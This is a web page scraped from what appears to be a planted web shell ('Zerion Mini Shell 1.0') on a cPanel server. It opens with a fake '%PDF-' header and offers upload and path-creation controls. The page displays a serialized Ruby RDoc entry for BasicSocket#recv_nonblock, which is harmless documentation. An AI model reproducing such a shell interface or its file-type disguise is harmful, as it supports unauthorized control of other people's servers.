%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/BasicSocket/
Upload File :
Create Path :
Current File : //proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/BasicSocket/recv_nonblock-i.ri

U:RDoc::AnyMethod[iI"recv_nonblock:EFI"BasicSocket#recv_nonblock;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[	I"IReceives up to _maxlen_ bytes from +socket+ using recvfrom(2) after ;TI";O_NONBLOCK is set for the underlying file descriptor. ;TI"4_flags_ is zero or more of the +MSG_+ options. ;TI".The result, _mesg_, is the data received.;To:RDoc::Markup::BlankLineo;
;	[I">When recvfrom(2) returns 0, Socket#recv_nonblock returns ;TI"an empty string as data. ;TI"MThe meaning depends on the socket: EOF on TCP, empty packet on UDP, etc.;T@S:RDoc::Markup::Heading:
leveli:	textI"Parameters;To:RDoc::Markup::List:
@type:BULLET:@items[o:RDoc::Markup::ListItem:@label0;	[o;
;	[I">+maxlen+ - the number of bytes to receive from the socket;To;;0;	[o;
;	[I"1+flags+ - zero or more of the +MSG_+ options;To;;0;	[o;
;	[I"<+options+ - keyword hash, supporting `exception: false`;T@S;;
i;I"Example;To:RDoc::Markup::Verbatim;	[I"*serv = TCPServer.new("127.0.0.1", 0)
;TI"&af, port, host, addr = serv.addr
;TI"#c = TCPSocket.new(addr, port)
;TI"s = serv.accept
;TI"c.send "aaa", 0
;TI"$begin # emulate blocking recv.
;TI"'  p s.recv_nonblock(10) #=> "aaa"
;TI"rescue IO::WaitReadable
;TI"  IO.select([s])
;TI"
  retry
;TI"	end
;T:@format0o;
;	[I"PRefer to Socket#recvfrom for the exceptions that may be thrown if the call ;TI"to _recv_nonblock_ fails.;T@o;
;	[I"YBasicSocket#recv_nonblock may raise any error corresponding to recvfrom(2) failure, ;TI""including Errno::EWOULDBLOCK.;T@o;
;	[I">If the exception is Errno::EWOULDBLOCK or Errno::EAGAIN, ;TI")it is extended by IO::WaitReadable. ;TI"YSo IO::WaitReadable can be used to rescue the exceptions for retrying recv_nonblock.;T@o;
;	[I"OBy specifying a keyword argument _exception_ to +false+, you can indicate ;TI"Lthat recv_nonblock should not raise an IO::WaitReadable exception, but ;TI"0return the symbol +:wait_readable+ instead.;T@S;;
i;I"See;To;;;;[o;;0;	[o;
;	[I"Socket#recvfrom;T:
@fileI"ext/socket/lib/socket.rb;T:0@omit_headings_from_table_of_contents_below0I"Nbasicsocket.recv_nonblock(maxlen [, flags [, buf [, options ]]]) => mesg
;T0[I"0(len, flag = 0, str = nil, exception: true);T@TFI"BasicSocket;TcRDoc::NormalClass00

Zerion Mini Shell 1.0